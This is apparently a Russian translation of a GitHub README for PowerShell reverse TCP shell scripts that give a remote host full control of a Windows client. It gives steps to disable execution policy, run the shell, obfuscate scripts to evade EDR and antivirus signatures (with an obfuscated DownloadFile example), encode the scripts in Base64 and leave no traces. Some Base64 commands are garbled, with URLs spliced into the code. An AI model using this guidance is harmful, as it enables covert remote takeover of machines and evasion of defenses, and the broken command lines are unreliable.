
Скрипты PowerShell для взаимодействия с удалённым хостом.
Скрипты PowerShell для связи с удаленным хостом.
Удаленный хост получает полный контроль над клиентом и всеми системными командами.
Доступны оболочки на основе:
Протестировано с PowerShell v5.1.19041.2673 на Windows 10 Enterprise (64-разрядная версия).
Создано в образовательных целях. Надеюсь, поможет!
Этот репозиторий начал иметь известные сигнатуры, и у меня нет времени загружать новые скрипты каждый раз, поэтому вы должны обфусцировать эти скрипты самостоятельно.
Планы на будущее:
При необходимости измените IP-адрес и номер порта в скриптах.
Откройте PowerShell из \src\invoke_expression\original\ или \src\process_pipes\original\ и выполните команды, показанные ниже.
Установите политику выполнения:```pwsh Set-ExecutionPolicy Unrestricted
Запустите скрипт:```pwsh
.\powershell_reverse_tcp.ps1
Или выполните следующую команду из PowerShell или командной строки:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
## Обфускация PowerShell-скриптов
Попробуйте обойти системы EDR и другие механизмы безопасности, обфусцируя свои скрипты. Примеры такой обфускации приведены ниже.
Оригинальная команда PowerShell:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
Обфусцированная команда PowerShell:```pwsh
& (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'
**Проверьте оригинальный скрипт PowerShell [здесь](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) и полностью обфусцированный [здесь](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**
После [ручной обфускации](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1) оригинальный скрипт PowerShell был обфусцирован с помощью [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). Спасибо автору!
Поищите в Интернете дополнительные методы и техники обфускации.
P.S. Поскольку PowerShell постоянно обновляется, некоторые регулярные выражения (например, `*ke-E*`) могут начать вызывать исключения из-за совпадения нескольких методов с одним и тем же выражением, поэтому выражения нужно будет немного более точно задавать.
### PowerShell Encoded Command
Чтобы создать закодированную команду PowerShell из скрипта PowerShell, выполните следующую команду PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
Чтобы декодировать закодированную команду PowerShell, выполните следующую команду PowerShell:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
Используйте однострочники ниже, если не хотите оставлять никаких следов.
---